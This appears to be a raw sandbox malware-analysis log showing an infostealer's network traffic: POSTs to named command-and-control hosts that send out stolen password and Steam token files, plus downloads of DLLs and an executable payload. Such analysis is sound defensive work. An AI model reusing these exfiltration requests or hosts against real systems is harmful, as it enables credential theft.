0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="mode"21------GIIEGHIDBGHIECAAECGD--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGIHost: lade.petperfectcare.comContent-Length: 5289Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDHost: lade.petperfectcare.comContent-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFBHost: lade.petperfectcare.comContent-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFBHost: lade.petperfectcare.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 2d 2d 0d 0a Data Ascii: ------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="file_data"------DAKEBAKFHCFHIEBFBAFB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFBHost: lade.petperfectcare.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="file_data"------IJEGDBGDBFIJKECBAKFB--
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKFIECBGDHJKECAKFBGHost: lade.petperfectcare.comContent-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKFHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="mode"3------GCBGCAFIIECBFIDHIJKF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHJJJKKFHIDAAKFBFBFHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 2d 2d 0d 0a Data Ascii: ------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="mode"4------KFHJJJKKFHIDAAKFBFBF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFHHost: lade.petperfectcare.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 4e 4f 6d 77 41 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 2d 2d 0d 0a Data Ascii: ------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="file_data"NOmwAg==------EHCGIJDHDGDBGDGCGCFH--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECFHost: lade.petperfectcare.comContent-Length: 130769Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFHHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="mode"5------CAFIEBKKJJDAKFHIDBFH--
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: nsdm.cumpar-auto-orice-tip.roCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHIHost: lade.petperfectcare.comContent-Length: 499Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 61 73 6b 5f 69 64 22 0d 0a 0d 0a 31 32 38 34 32 30 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 74 61 74 75 73 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="mode"51------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="task_id"1284205------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="status"1------BGIJDGCAEBFIIECAKFHI--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 2d 2d 0d 0a Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="mode"6------EGIDAAFIEHIEHJKFHCAE--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDAHost: cowod.hopto.orgContent-Length: 5757Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 95.164.90.97 95.164.90.97

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: VAKPoltavaUkraineUA VAKPoltavaUkraineUA

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:51636 -> 147.45.44.104:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: wickedneatr.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=vmF.kaNqUEmI1.qePWdiTp6vBz.dmeIQmRcdUjlLAWk-1728319428-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: wickedneatr.sbs

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

3_2_00406963

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: nsdm.cumpar-auto-orice-tip.roCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: lade.petperfectcare.com
Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: nsdm.cumpar-auto-orice-tip.ro
Source: global traffic	DNS traffic detected: DNS query: exemplarou.sbs
Source: global traffic	DNS traffic detected: DNS query: frizzettei.sbs
Source: global traffic	DNS traffic detected: DNS query: isoplethui.sbs
Source: global traffic	DNS traffic detected: DNS query: bemuzzeki.sbs
Source: global traffic	DNS traffic detected: DNS query: exilepolsiy.sbs
Source: global traffic	DNS traffic detected: DNS query: laddyirekyi.sbs
Source: global traffic	DNS traffic detected: DNS query: invinjurhey.sbs
Source: global traffic	DNS traffic detected: DNS query: wickedneatr.sbs
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: wickedneatr.sbs

